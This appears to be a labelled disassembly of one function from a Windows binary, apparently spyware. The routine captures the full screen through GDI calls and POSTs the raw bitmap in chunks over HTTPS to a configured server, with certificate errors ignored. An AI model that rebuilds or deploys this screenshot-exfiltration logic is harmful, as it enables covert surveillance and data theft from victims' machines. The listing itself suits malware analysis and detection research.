Function at 0x140010190
Capabilities:
Capture screenshot
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1400a20c0]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov rsi, rcx
mov qword [rbp], rcx
xor r12d, r12d
mov qword [rsp + 0x60], rcx
cmp qword [rcx + 0x18], 7
jbe 0x1400101e6
mov rax, qword [rcx]
mov qword [rsp + 0x60], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DISPLAY
call qword [sym.imp.GDI32.dll_CreateDCW]
mov rdi, rax
mov qword [rsp + 0x70], rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r14, rax
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r13d, eax
mov ecx, 0x4f
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
mov dword [rbp + 0x150], eax
mov r8d, eax
mov edx, r13d
mov rcx, rdi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov qword [rsp + 0x68], rax
mov rdx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov ecx, 0x4c
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9d, r13d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.GDI32.dll_BitBlt]
mov edx, 7
mov rcx, r14
call qword [sym.imp.GDI32.dll_GetCurrentObject]
mov rdi, rax
mov qword [rsp + 0x50], rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r15, rax
test rax, rax
jne 0x1400102bb
xor r13d, r13d
mov r12d, r13d
mov r15, rdi
jmp 0x1400103b8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d4], xmm0
movups xmmword [rbp + 0x1e4], xmm0
mov qword [rbp + 0x1f4], rax
mov dword [rbp + 0x1d0], reloc.Cabinet.dll_CreateDecompressor
mov dword [rbp + 0x1d4], r13d
mov dword [rbp + 0x1d8], ebx
mov qword [rbp + 0x1dc], 0x100001
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1d0]
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateDIBSection]
mov r12, rax
test rax, rax
jne 0x140010336
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
xor r13d, r13d
mov r12d, r13d
mov r15, rdi
jmp 0x1400103b8
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rdi, rax
mov rdx, r12
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rbx, rax
mov dword [rsp + 0x40], 0xcc0020
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r14
mov eax, dword [rbp + 0x150]
mov dword [rsp + 0x20], eax
mov r9d, r13d
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov r15, qword [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
xor r13d, r13d
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
lea r8, [rsp + 0x78]
mov edx, CloseCompressor
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
movzx r14d, word [rbp - 0x76]
shr r14d, 3
imul r14d, dword [rbp - 0x80]
imul r14d, dword [rsp + 0x7c]
mov ecx, 0x200
call fcn.1400543a4
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.140069898
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x128]
call fcn.14005af4c
mov r9d, dword [rbp + 0x138]
inc r9d
mov r8d, dword [rbp + 0x13c]
add r8d, 0x76c
mov ecx, dword [rbp + 0x128]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rbp + 0x12c]
mov dword [rsp + 0x30], ecx
mov eax, dword [rbp + 0x130]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x134]
mov dword [rsp + 0x20], eax
lea rdx, str._04d__02d__02d__02d__02d__02d
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x2a0]
call fcn.140021a50
nop
mov r9, rbx
cmp word [rbx], 0
je 0x14001048b
nop word [rax + rax]
add r9, 2
cmp word [r9], 0
jne 0x140010480
mov r8, rbx
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x2a0]
call fcn.140023880
nop
mov rcx, rbx
call fcn.140054120
mov edx, dword [rbp - 0x80]
lea rcx, [rbp + 0xe8]
call fcn.140001750
mov rbx, rax
mov edx, dword [rsp + 0x7c]
lea rcx, [rbp + 0x200]
call fcn.140001750
nop
mov r9d, reloc.WS2_32.dll_select
lea r8, str.RBNSSINFORMATION_
mov rcx, rax
call fcn.140027c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140093360]
lea rcx, [rbp + 0x48]
call fcn.140022950
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x150]
lea rcx, [rbp + 0xc8]
call fcn.140027950
nop
mov r8d, 1
lea rdx, [0x140093360]
lea rcx, [rbp + 0xc8]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0x88]
call fcn.140022950
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14001064d
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010648
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e32
call fcn.140054120
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], recv
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400106a7
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e38
call fcn.140054120
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe0], recv
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140010702
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e3e
call fcn.140054120
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14001073d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010738
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e44
call fcn.140054120
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], recv
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14001078e
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e4a
call fcn.140054120
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], recv
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x1400107e8
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e50
call fcn.140054120
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], recv
mov byte [rbp + 0xe8], 0
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x128]
call fcn.140003a00
mov rbx, rax
lea rcx, [rbp + 0x220]
call fcn.140021a50
nop
lea r8, [0x1400a60b0]
cmp qword [0x1400a60c8], 7
cmova r8, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x220]
call fcn.140023880
nop
lea rcx, [rbp + 0x220]
call fcn.140021960
nop
mov r8, rbx
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x1b0]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x1400108e3
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400108de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e56
call fcn.140054120
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.http_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400109f6
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140010949
inc rdx
mov rcx, qword [rbp + 8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140010944
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011efe
call fcn.140054120
mov byte [rbp + 8], 0
mov qword [rbp + 0x20], recv
mov qword [rbp + 0x18], r13
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14001099b
inc rdx
mov rcx, qword [rbp + 0xa8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140010995
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e1a
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x1400109e7
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x1400109e2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e2c
mov rcx, r8
call fcn.140054120
mov qword [rsi + 0x10], r13
mov word [rsi], r13w
xor al, al
jmp 0x140011de2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
mov dword [rbp - 0x68], 0x68
mov dword [rbp - 0x58], 0xffffffff
mov dword [rbp - 0x48], 0xffffffff
mov dword [rbp - 0x18], 0xffffffff
mov dword [rbp - 8], 0xffffffff
lea r9, [rbp - 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
lea rdx, [rbp - 0x68]
test eax, eax
cmove rdx, qword [rbp]
movups xmm0, xmmword [rdx]
movaps xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [rdx + 0x20]
movaps xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rdx + 0x30]
movaps xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rbp + 0x150], xmm0
movups xmm0, xmmword [rdx + 0x50]
movaps xmmword [rbp + 0x270], xmm0
movsd xmm1, qword [rdx + 0x60]
movsd qword [rbp + 0x280], xmm1
mov rcx, qword [rsp + 0x60]
call fcn.140004840
lea rdx, [0x1400a6110]
mov rax, qword [0x1400a6120]
cmp qword [0x1400a6128], 7
jbe 0x140010ad0
mov rdx, qword [0x1400a6110]
lea r8, [rdx + rax*2]
lea rcx, [rbp + 0x28]
call fcn.1400255c0
nop
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rdx, qword [rbp + 0x28]
mov r8d, 0x1bb
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140010b5e
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140010b48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef8
call fcn.140054120
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
jmp 0x14001090e
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
movups xmm0, xmmword [rbp + 0x150]
psrldq xmm0, 8
movq qword [rbp + 0x150], xmm0
movq r8, xmm0
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r13, rax
test rax, rax
jne 0x140010ce1
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140010be8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010be3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef8
call fcn.140054120
xor ebx, ebx
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], bx
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140010c35
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011efe
call fcn.140054120
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], recv
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140010c87
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010c81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e1a
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x140010cd3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140010cce
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e2c
mov rcx, r8
call fcn.140054120
mov qword [rsi + 0x10], rbx
mov word [rsi], bx
xor al, al
jmp 0x140011de2
mov dword [rsp + 0x58], 0x3300
mov r9d, 4
lea r8, [rsp + 0x58]
lea edx, [r9 + 0x1b]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
movsxd rbx, r14d
mov rcx, rbx
call fcn.1400543a4
mov rdi, rax
mov r8, rax
mov edx, r14d
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetBitmapBits]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteObject]
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.140003950
nop
mov rcx, rdi
call fcn.140054120
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x48]
call fcn.140003a00
nop
xor r8d, r8d
mov edi, r8d
mov rbx, qword [rbp + 0x58]
movabs rax, 0x47ae147ae147ae15
mul rbx
mov r15, rbx
sub r15, rdx
shr r15, 1
add r15, rdx
shr r15, 0xf
lea r12d, [r15 + 1]
mov r14d, r8d
test r12d, r12d
je 0x140010ea5
cmp edi, r15d
jne 0x140010db1
imul eax, r15d, 0xc800
mov r14d, ebx
sub r14d, eax
inc edi
jmp 0x140010e9c
mov r14d, 0xc800
imul ecx, edi, 0xc800
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r8
mov qword [rbp + 0xa0], r8
cmp rbx, rcx
jb 0x140011e98
sub rbx, rcx
mov r8d, r14d
cmp rbx, r14
cmovb r8, rbx
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
add rdx, rcx
lea rcx, [rbp + 0x88]
call fcn.140026a60
nop
lea r9, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova r9, qword [rbp + 0x88]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400110a8
inc edi
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140010e95
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010e90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e5c
call fcn.140054120
xor r8d, r8d
mov rbx, qword [rbp + 0x58]
cmp edi, r12d
jb 0x140010d98
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.http_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x1400114d0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140010f26
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010f20
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eec
call fcn.140054120
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140010f64
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010f5f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef2
call fcn.140054120
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], recv
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140010fb7
mov rcx, qword [rbp + 0x28]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010fb2
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef8
call fcn.140054120
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140011003
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ffe
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011efe
call fcn.140054120
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], recv
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140011055
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001104f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e1a
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x1400110a1
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x14001109c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e2c
mov rcx, r8
call fcn.140054120
xor al, al
jmp 0x140011dda
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov ecx, 0x30
call fcn.140054128
mov rdx, rax
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf8], reloc.Cabinet.dll_CloseCompressor
mov qword [rbp + 0x100], 0x2f
movups xmm0, xmmword [str.There_is_no_result_from_request....]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140093390]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400933a0]
mov word [rax + 0x20], cx
movzx eax, byte [0x1400933a2]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
mov qword [rsp + 0x30], reloc.Cabinet.dll_CloseCompressor
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], CreateCompressor
lea r9, str.RBNSCREENSHOTNOCOMPLETE_
lea rcx, [rbp + 0xc8]
call fcn.140027b50
nop
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x128]
call fcn.140003a00
mov rbx, rax
lea rcx, [rbp + 0x220]
call fcn.140021a50
nop
cmp qword [0x1400a60c8], 7
lea rcx, [0x1400a60b0]
cmova rcx, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [rcx + rax*2]
mov r8, rcx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x220]
call fcn.140023880
nop
lea rcx, [rbp + 0x220]
call fcn.140021960
nop
mov r8, rbx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x190]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001121e
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e62
call fcn.140054120
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14001125f
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001125a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e68
call fcn.140054120
xor ebx, ebx
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], recv
mov byte [rbp + 0xc8], bl
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x1400112bb
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400112b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e6e
call fcn.140054120
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400112fc
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400112f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e74
call fcn.140054120
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], recv
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140011351
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001134b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e7a
call fcn.140054120
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14001138f
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001138a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e80
call fcn.140054120
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], recv
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x1400113e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400113dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e86
call fcn.140054120
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], bx
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14001142d
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e8c
call fcn.140054120
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], recv
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14001147f
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011479
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e92
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x140010cd3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140010cce
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e20
jmp 0x140010ccb
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rdx, qword [rbp + 0x28]
